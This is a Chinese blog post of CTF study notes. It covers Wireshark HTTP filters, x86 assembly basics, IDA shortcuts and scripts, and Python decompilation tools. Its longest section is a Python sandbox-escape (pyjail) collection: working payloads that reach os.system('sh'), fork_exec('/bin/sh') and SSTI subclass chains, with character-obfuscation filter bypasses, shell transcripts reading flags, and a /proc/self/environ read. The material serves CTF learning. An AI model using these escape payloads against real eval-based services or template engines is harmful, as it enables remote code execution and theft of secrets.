http.server contains “nginx”
//过滤http头中server字段含有nginx字符的数据包

http.content_type == “text/html”
//过滤content_type是text/html的http响应、post包,即根据文件类型过滤http数据包

http.content_encoding == “gzip”
//过滤content_encoding是gzip的http包

http.transfer_encoding == “chunked”
//根据transfer_encoding过滤

http.content_length == 279
http.content_length_header == “279″
//根据content_length的数值过滤

http.server
//过滤所有含有http头中含有server字段的数据包

http.request.version == “HTTP/1.1″
//过滤HTTP/1.1版本的http包,包括请求和响应

http.response.phrase == “OK”
//过滤http响应中的phrase

## **re:**

# 逆向相关

### 汇编基础

#### 通用寄存器

- EAX:(针对操作数和结果数据的)累加器
- EBX:(DS段的数据指针)基址寄存器
- ECX:(字符串和循环操作的)计数器
- EDX:(I/O指针)数据寄存器
- ESI:(字符串操作源指针)源变址寄存器
- EDI:(字符串操作目标指针)目的变址寄存器
- EBP:(SS段中栈内数据指针)扩展基址指针寄存器[栈帧寄存器、栈底指针寄存器]
- ESP:(SS段中栈指针)栈指针寄存器[指向栈顶]

#### 段寄存器

- CS:代码段寄存器
- SS:栈段寄存器
- DS:数据段寄存器
- FS:数据段寄存器
- ES:附加数据寄存器
- GS:数据段寄存器

#### 程序状态与控制寄存器

- EFLAGS:标志寄存器,32个位元的01控制
- ZF(零标志器,运算结果为0时置1)
- CF(进位标志,运算结果向最高位以上进位时置1)
- OF(溢出标志)
- AF(辅助进位标志,运算结果在第3位的时候置1)
- SF(符号标志,有符号整型的符号位为1时置1)

#### 指令指针寄存器

- EIP / RIP:保存CPU要执行的指令地址

### 常用指令

> 操作码 目的操作数 源操作数

- PUSH/POP:压栈/出栈
- PUSHA/POPA 、 PUSHAD/POPAD
- MOV/CALL/RET/LEA/INT/EMD:传送 / 调用 / 返回 / 加载 / 中断 / 结束
- CMP/TEST:比较/测试(结果丢弃,只修改标志位寄存器)
- JMP系列跳转指令
- ADD/SUB/SHL/SHR/ROL/ROR:加 / 减 / 逻辑左移 / 逻辑右移 / 循环左移 / 循环右移
- INC/DEC :加一 / 减一
- MUL/IMUL:无符号乘法、整数乘法
- DIV/IDIV:无符号除法、整数除法
- AND/XOR/OR/NOT:与 / 异或 / 或 / 取反

#### 栈帧

PUSH EBP ;函数开始
MOV EBP,ESP ;将栈顶地址存入EBP中

.... ;函数执行,期间EBP地址不变

MOV ESP,EBP ;基准点地址给到ESP
POP EBP ;栈状态恢复,弹出EBP
RETN ;函






#### 寻址方式

- 寄存器寻址、立即寻址、寄存器间接寻址、基址寻址 …

### IDA使用

#### IDA的常用快捷键

F系列【主要是调试状态的处理】

F2 添加/删除断点
F4 运行到光标所在位置
F5 反汇编
F7 单步步入
F8 单步跳过
F9 持续运行直到输入/断点/结束
shift系列【主要是调出对应的页面】
shift+F1 Local types
shift+F2 execute scripts【常用】
shift+F3 Functions
shift+F4 Names
shift+F5 Signatures
shift+F7 Segments
shift+F8 Segments registers
shift+F9 Structures
shift+F10 Enumerations
shift+F11 Type libraries
shift+F12 Strings【常用】
Shift+E 导出数据【常用】

单字符系列【基本是数据处理转换相关】【这些都比较常用】

G 按地址查找
D 将字符串等元素转为数据
N 重命名(函数名、变量名等)
Y 修改变量类型等(比如int改char等等)
H decimal 数据的进制快速转换
A 将数据转变为字符串类型
C code(将数据转变为汇编代码,分为自动和强制执行)
U undefined(将字符串转变为原始数据)
X 交叉引用(反汇编页面)
P 选中位置识别为函数

Ctrl、Alt系列

Ctrl+F 搜索【常用】
Ctrl+X 交叉引用(汇编页面)【常用】
Alt+T 查找Text
Ctrl+T 查找下一个text
Alt+C Next Code
Ctrl+D Next Data
Ctrl+Z 撤销
Ctrl+Shift+Z 恢复
Alt+K 修改堆栈值

else

/ 添加注释 or 右键选择edit comment【常用】
\ hide cast,隐藏/显示一些变量类型注解
Ins 添加区块注释






### IDA常用脚本

> IDC&python,具体可以看IDA的官方书籍

#### IDC

//获取寄存器的值
auto eax = GetRegValue("EAX");


1
2



auto addr = 0x0;
auto i = 0;
for(i; i < 10; i = i+1)
{
//打印字节
Message("%x",Byte(addr+i));
//修改字节
PatchByte(addr+i,Byte());
}




//dump数据
auto i,fp;

fp = fopen("D:\dump2","wb");

for(i=0x10;i<0x12;i++)
fputc(Byte(i),fp);
print("end");




#### python

导入头文件

from idaapi import *

获取寄存器的值

espval = get_reg_val('esp')

获取字节值ida_bytes.get_word()

value = ida_bytes.get_word(address)

获取16字节长度的数据

ida_bytes.get_bytes(address, 16)


race脚本

auto edx = GetRegValue("EDX");
Message("%c",edx&0xff);




exp

s = 'NRQ@PC}?m9kni;k7v&%rq-t!zz{+}|xzA@@@@G@Z'
for i in range(len(s)):
print(chr(ord(s[i])^i),end='')


idc_base64 exp

auto addr = 0x403040;
auto i = 0;
for(i; i < 64; i = i+1)


### python逆向

#### 常规解题思路:

1. 识别exe为python打包【这种exe一般会比较大,而且ida打开后会有明显的python字符特征】
2. 解包exe,定位核心pyc或者so文件
3. 反编译核心文件,进行动静态调试分析逻辑

#### pyinstxtractor解包exe文件

#### github

> https://github.com/extremecoders-re/pyinstxtractor

#### Use

> python pyinstxtractor.py xxx.exe

#### pyc文件反编译

> PYC文件是Python编译文件(Python Compiled File)的缩写。当Python源代码文件(以.py为扩展名)被解释器执行时,解释器会将其转换为字节码,并将字节码保存在PYC文件中,以便在下次执行相同代码时可以更快地加载和执行

#### Magic Number

MAGIC_1_0 = 0x00999902
MAGIC_1_1 = 0x00999903
MAGIC_1_2 = 0x00999903
MAGIC_1_3 = 0x0A0D2E89
MAGIC_1_4 = 0x0A0D1704
MAGIC_1_5 = 0x0A0D4E99
MAGIC_1_6 = 0x0A0DC4FC

MAGIC_2_0 = 0x0A0DC687
MAGIC_2_1 = 0x0A0DEB2A
MAGIC_2_2 = 0x0A0DED2D
MAGIC_2_3 = 0x0A0DF23B
MAGIC_2_4 = 0x0A0DF26D
MAGIC_2_5 = 0x0A0DF2B3
MAGIC_2_6 = 0x0A0DF2D1
MAGIC_2_7 = 0x0A0DF303

MAGIC_3_0 = 0x0A0D0C3A
MAGIC_3_1 = 0x0A0D0C4E
MAGIC_3_2 = 0x0A0D0C6C
MAGIC_3_3 = 0x0A0D0C9E
MAGIC_3_4 = 0x0A0D0CEE
MAGIC_3_5 = 0x0A0D0D16
MAGIC_3_5_3 = 0x0A0D0D17
MAGIC_3_6 = 0x0A0D0D33
MAGIC_3_7 = 0x0A0D0D42
MAGIC_3_8 = 0x0A0D0D55
MAGIC_3_9 = 0x0A0D0D61
MAGIC_3_11 = 0x0A0D0DA7




低版本python不支持

import importlib
importlib.util.MAGIC_NUMBER.hex()

已经废弃,但还是可以用

import imp
imp.get_magic().hex()




#### 在线网站

#### pycdc

> https://github.com/zrax/pycdc

#### Use

反编译为py文件

./pycdc xxx.pyc > output.py

反编译为python字节码

./pycdas xxx.pyc > output.txt






### uncompyle6

#### Install

> pip install uncompyle6

#### Use

> uncompyle6 input.pyc > output.py

**python字节码识别**

- 可以考虑手动还原,但是这个东西交给普通的gpt3也可以自动还原

> https://docs.python.org/zh-cn/3.8/library/dis.html

**Cython**

- 常见于python库打包为so文件,一般可以借用help()函数以及各种调库方式debug so库,以及通过暴力逆向so来分析其逻辑

idc脚本:

auto addr = 0x401530; auto i = 0; for(i; i < 213; i = i+1) { PatchByte(addr+i,Byte(addr+i)^0x90); }

## PYJAIL:

### PYJAIL   PY沙箱逃逸

------

**unicode编码exp:**

```python
from unicodedata import normalize
from string import ascii_lowercase
from collections import defaultdict

lst = list(ascii_lowercase)
dic = defaultdict(list)
for char in lst:
    for i in range(0x110000):
        if normalize("NFKC", chr(i)) == char:
            dic[char].append(chr(i))
        if len(dic[char]) > 9:
            break
print(dic)

因为python3的unicode特性,可以绕过一些沙箱使用,例如:

𝓮val(inp𝓾t())

常见签到:

open("flag").read()

环境flag:

__import__("os").system("cat flag")

过滤部分字符使用chr拼接:

open(chr(102)+chr(108)+chr(97)+chr(103)).read()

python字符与ascill码互转:

print(ord(b'f')) #转ascill
print(chr(102))  #转字符

限制输入字符长度:

eval(input())

pwntools传输unicode:

from pwn import *

io = remote("node5.anna.nssctf.cn",28561)
io.sendlineafter("Enter your expression and I will evaluate it for you.","𝓮val(inp𝓾t())")
io.interactive()

breakpoint()调试函数,任意命令执行:

breakpoint()

help()执行more程序执行shell:

help()

--More--! cat flag
! cat flag

globals()获取全局变量:

globals()

#一般长度不超过6即为help()调用函数,接着获取shell或者key sys,server..

bytes构造字符串:

payload: open("flag").read()
exp: open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.0.5(JAIL)

有过滤,使用bytes()拼接字符串,exp最终为 system("cat flag")

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(bytes([115])+bytes([121])+bytes([115])+bytes([116])+bytes([101])+bytes([109])).decode()]((bytes([99])+bytes([97])+bytes([116])+bytes([32])+bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode())

一句话RCE:

__import__('os').system('sh')
__import__('os'):这是一个使用内置函数 __import__ 来导入 Python 模块 os 的代码。os 模块提供了与操作系统交互的功能,例如执行系统命令、文件操作等。

os.system('sh'):在导入了 os 模块后,该代码执行了 os.system('sh')。os.system() 函数是用于执行系统命令的,它接受一个字符串参数,将其中的命令在终端或命令提示符中执行。在这里,它试图执行命令 sh。

sh 是一个常用的 Unix/Linux 命令行解释器(shell),它是命令行的一个交互式解释器,允许用户输入命令并执行。

SSTI(python模板注入):

().__class__.__base__.__subclasses__()

python中的元组、列表、字典、字符串等都是对象 可以用过__class__这个函数来进行查看 可以看到父类是object 可以说任何类的父类都是object

__base__是返回这个对象所属类的父类 __mro__是以元组的形式返回与该对象所属类相关的所有类 __bases__是以元组的形式返回这个对象

所属类的父类

__subclasses__() 别丢括号这个函数会返回当前吗父类下的所有子类

getsttr()用于返回一个对象属性值

参数:

getattr(object, name[, default])  #注意在转化的时候 单引号需要进行省略
getattr(().__class__, '__base__').__subclasses__()

getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)).__subclasses__()

getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), '__subclasses__')()

getattr(getattr(().__class__, chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)), chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()

方法一:

我们尝试在题目环境中输入这段命令 查看返回的object父类中包含的所有子类

Answer: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>]

在下标索引为-4的位置看到了<class 'os._wrap_close'> 可以构造payload

().__class__.__base__.__subclasses__()[-4].__init__.__global__['sysytem']('sh')

整体转换一下

getattr(getattr(getattr(getattr(().__class__,chr(95)+chr(95)+chr(98)+chr(97)+chr(115)+chr(101)+chr(95)+chr(95)),chr(95)+chr(95)+chr(115)+chr(117)+chr(98)+chr(99)+chr(108)+chr(97)+chr(115)+chr(115)+chr(101)+chr(115)+chr(95)+chr(95))()[-4], chr(95)+chr(95)+chr(105)+chr(110)+chr(105)+chr(116)+chr(95)+chr(95)), chr(95)+chr(95)+chr(103)+chr(108)+chr(111)+chr(98)+chr(97)+chr(108)+chr(115)+chr(95)+chr(95))[chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)](chr(115)+chr(104))

方法二:

__builtins__模块用于查看python内部的内置变量和内置函数

__builtins__是对builtins的引用 在任何地方使用builtins都必须import 但是使用__builtins__不需要使用import

写出payload

__builtins__.__import__('os').system('cat flag')

调用了os模块的system函数(用于在操作系统的 shell 中执行命令。它接收一个字符串参数 command,表示要执行的系统命令,然后将该命令传递给操作系统的 shell 进行执行) 执行cat flag命令 直接读取flag文件的值

在这之前还要通过input()函数 输入上述payload 因为环境ban掉了字母i 因此我们还是使用chr()函数 替换掉input()函数

eval(chr(0x65)+chr(0x78)+chr(0x65)+chr(0x63)+chr(0x28)+chr(0x69)+chr(0x6e)+chr(0x70)+chr(0x75)+chr(0x74)+chr(0x28)+chr(0x29)+chr(0x29))
# eval(exec(input()))
'''
exec()的作用
动态执行代码:exec() 允许在程序运行时根据需要执行动态生成的 Python 代码。这对于动态创建函数、类、变量等非常有用。

动态导入模块:使用 exec() 可以实现在运行时动态导入模块,而不是在代码中固定导入。

执行用户输入的代码:exec() 可以用于执行用户输入的 Python 代码,允许在程序运行时根据用户的输入执行相应的操作。

脚本执行:有时候,你可能希望从文件或网络获取一段 Python 代码,并在程序中执行它。exec() 允许你动态地执行从外部来源获取的代码。
'''

当然这个payload的前提是 知道flag文件的位置和名字

方法三:

open(chr(102)+chr(108)+chr(97)+chr(103)).read()
# open('flag').read()

使用ssti bytes:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__['system']('sh')

转化为

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

doc查找:

在这里 我们使用列表这个类来查找字符

print([].__doc__)
print([].__doc__.find('s'))
'''
输出:
17
'''

那么可以使用下标进行拼接system和sh函数

# system
[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]
# sh
[].__doc__[17]+[].__doc__[54]

下面是转换过程

().__class__.__base__.subclasses__()[-4].__init__.__globals__['system'].('sh')

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])

bytes被ban的情况使用object子类拼接:

查看object下的所有子类 发现bytes的下标索引是6 因此可以进行利用

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[bytes([115,121,115,116,101,109]).decode()](bytes([115,104]).decode())

转化为

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115,121,115,116,101,109]).decode()](().__class__.__base__.__subclasses__()[6]([115,104]).decode())

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.1(JAIL)

说明一下bytes和type的关系:

bytes = type(str(1).encode())
"system" == (type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()

== [].__class__.__mro__[-1].__subclasses__()[-4]

\# 执行system(???)
[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()](???)

同理反抽就可以执行system("ls")然后cat flag了

[].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())

这里只展示了system("ls")

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
\> [].__class__.__mro__[-1].__subclasses__()[-4].__init__.__globals__[(type(str(1).encode())([115])+type(str(1).encode())([121])+type(str(1).encode())([115])+type(str(1).encode())([116])+type(str(1).encode())([101])+type(str(1).encode())([109])).decode()]((type(str(1).encode())([108])+type(str(1).encode())([115])).decode())
flag_y0u_CaNt_FiNd_mE server.py
Answer: 0

我们可以看到文件名为flag_y0u_CaNt_FiNd_mE

法二:利用Show subclasses with tuple找到bytes类:

().__class__.__base__.__subclasses__()
\> ().__class__.__base__.__subclasses__()
Answer: [, , , , , , ....

可发现bytes类的索引是6。所以有

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
nc node5.anna.nssctf.cn 28261 ─╯

_ _ _ _ _ _ _ _ _ __
| | (_) (_) (_) | | | | | || |/_ |
| |__ ___ __ _ _ _ __ _ __ ___ _ __ _ __ _ _| | | | _____ _____| | || |_| |
| '_ \ / _ \/ _` | | '_ \| '_ \ / _ \ '__| | |/ _` | | | | |/ _ \ \ / / _ \ |__ _| |
| |_) | __/ (_| | | | | | | | | __/ | | | (_| | | | | | __/\ V / __/ | | |_| |
|_.__/ \___|\__, |_|_| |_|_| |_|\___|_| | |\__,_|_|_| |_|\___| \_/ \___|_| |_(_)_|
__/ | _/ |
|___/ |__/

Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
\> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__class__.__base__.__subclasses__()[6]([115, 121, 115, 116, 101, 109]).decode()](().__class__.__base__.__subclasses__()[6]([115, 104]).decode())
sh: 0: can't access tty; job control turned off
$ ls /
bin dev home lib32 libx32 mnt proc run srv tmp var
boot etc lib lib64 media opt root sbin sys usr
$ ls
flag_y0u_CaNt_FiNd_mE server.py

方法三:利用__doc__:

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
Welcome to the python jail
Let's have an beginner jail of calc
Enter your expression and I will evaluate it for you.
Banned __loader__,__import__,compile,eval,exec,chr,input,locals,globals,bytes and `,",' Good luck!
\> ().__class__.__base__.__subclasses__()[-4].__init__.__globals__[().__doc__[19]+().__doc__[86]+().__doc__[19]+().__doc__[4]+().__doc__[17]+().__doc__[10]](().__doc__[19]+().__doc__[56])
sh: 0: can't access tty; job control turned off
$ ls
flag_y0u_CaNt_FiNd_mE server.py
$ cat flag_y0u_CaNt_FiNd_mE
flag=NSSCTF{9863752e-e8e4-44de-a0f1-9d1ae06f2e91}
$

[HNCTF 2022 WEEK2]calc_jail_beginner_level4.3(JAIL str().join拼接字符)

jion拼接:

使用john()函数进行拼接

''.join(['s', 'y', 's', 't', 'e', 'm'])

这样就能得到system 但是双引号也被ban掉了 我们可以使用str()这个函数 就相当于一个双引号

str().join(['s', 'y', 's', 't', 'e', 'm'])

由此可以得到payload

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[[].__doc__[17]+[].__doc__[87]+[].__doc__[17]+[].__doc__[4]+[].__doc__[15]+[].__doc__[9]]([].__doc__[17]+[].__doc__[54])

().__class__.__base__.__subclasses__()[-4].__init__.__globals__[str().join([[].__doc__[17],[].__doc__[87],[].__doc__[17],[].__doc__[4],[].__doc__[15],[].__doc__[9]])](str().join([[].__doc__[17],[].__doc__[54]]))

[HNCTF 2022 WEEK2]calc_jail_beginner_level5(dir())

dir()解题:

dir()
dir(my_flag)
dir(my_flag.flag_level5)
有encode可以使用
my_flag.flag_level5.encode()

[HNCTF 2022 WEEK3]calc_jail_beginner_level6(JAIL _posixsubprocess.fork_exec lamba表达式)

方法一:

这里需要使用_posixsubprocess.fork_exec

首先将_posixsubprocess类导进去 import使用不了 但是__builtins__还是可以使用的

__builtins__['__loader__'].load_module('_posixsubprocess')
或:
__loader__.load_module('_posixsubprocess')

下面是完整的payload

import os
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)

进入shell界面 读取flag就好(虽然会在shell和python界面来回切换)

方法二:
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('/bin/sh')")

海象运算符:[HNCTF 2022 WEEK3]calc_jail_beginner_level6.1(海象运算符、列表、无限迭代器)

海象运算符
:=
海象运算符的优势在于能在不允许赋值的地方(如if语句的条件表达式中)使用赋值变量。海象运算符左侧有个标识符,赋值表达式的值等于分配给这个标识符的值
[os := __import__('os'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), _posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)]

上一步就是实现level6的payload 先导入os模块 再导入_posixsubprocess模块 在使用_posixsubprocess模块

但是shell只显示一次shell 就退掉了 因此要使用无线迭代器itertools

[os := __import__('os'), itertools := __loader__.load_module('itertools'), _posixsubprocess := __loader__.load_module('_posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]

[HNCTF 2022 WEEK3]calc_jail_beginner_level7(函数装饰器、类的定义)

装饰器@类的定义:

@exec
@input
class A: pass
--HNCTF

前两个是函数装饰器: 把带有@的函数放到某个函数的定义处,相当于执行了一次@后的函数

后面是类定义 这里的pass主要作用是占据位置 让代码整体完整 定义空类会报错

成功进入main函数主体 在执行命令 进入shell即可

__import__('os').system('sh')

lambda表达式:

(lambda: __import__('os').system('sh'))()

python3.8 random 海象运算:

random中所有的随机数调用方法都是依赖于getrandbits(32),这就是梅森旋转法的应用:每次产生32bit随机数,每产生624次随机数就转一转。而如果我们一开始import random并打印random.getstate的话,我们会发现内容为一个tuple:

(3, (..., 624), None)

第一个取值3和第三个取值None都是固定的,雷打不动的;主要是中间的那个tuple:前面打省略号的地方是624个32位整数,最后一个624表示当前生成到了第624个随机数。我们先调用一次random.getrandbits(32),再查看random.getstate,会发现内容变为:

(3, (..., 1), None)
[random:=__import__('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)][-1]

读环境获取flag:

{print(open("/proc/self/environ").read())}

#以上就是ctf学习一年收集的一些知识点,工具,脚本等等

posted @ 2024-05-12 20:34  灰灰离开了  阅读(106)  评论(2编辑  收藏  举报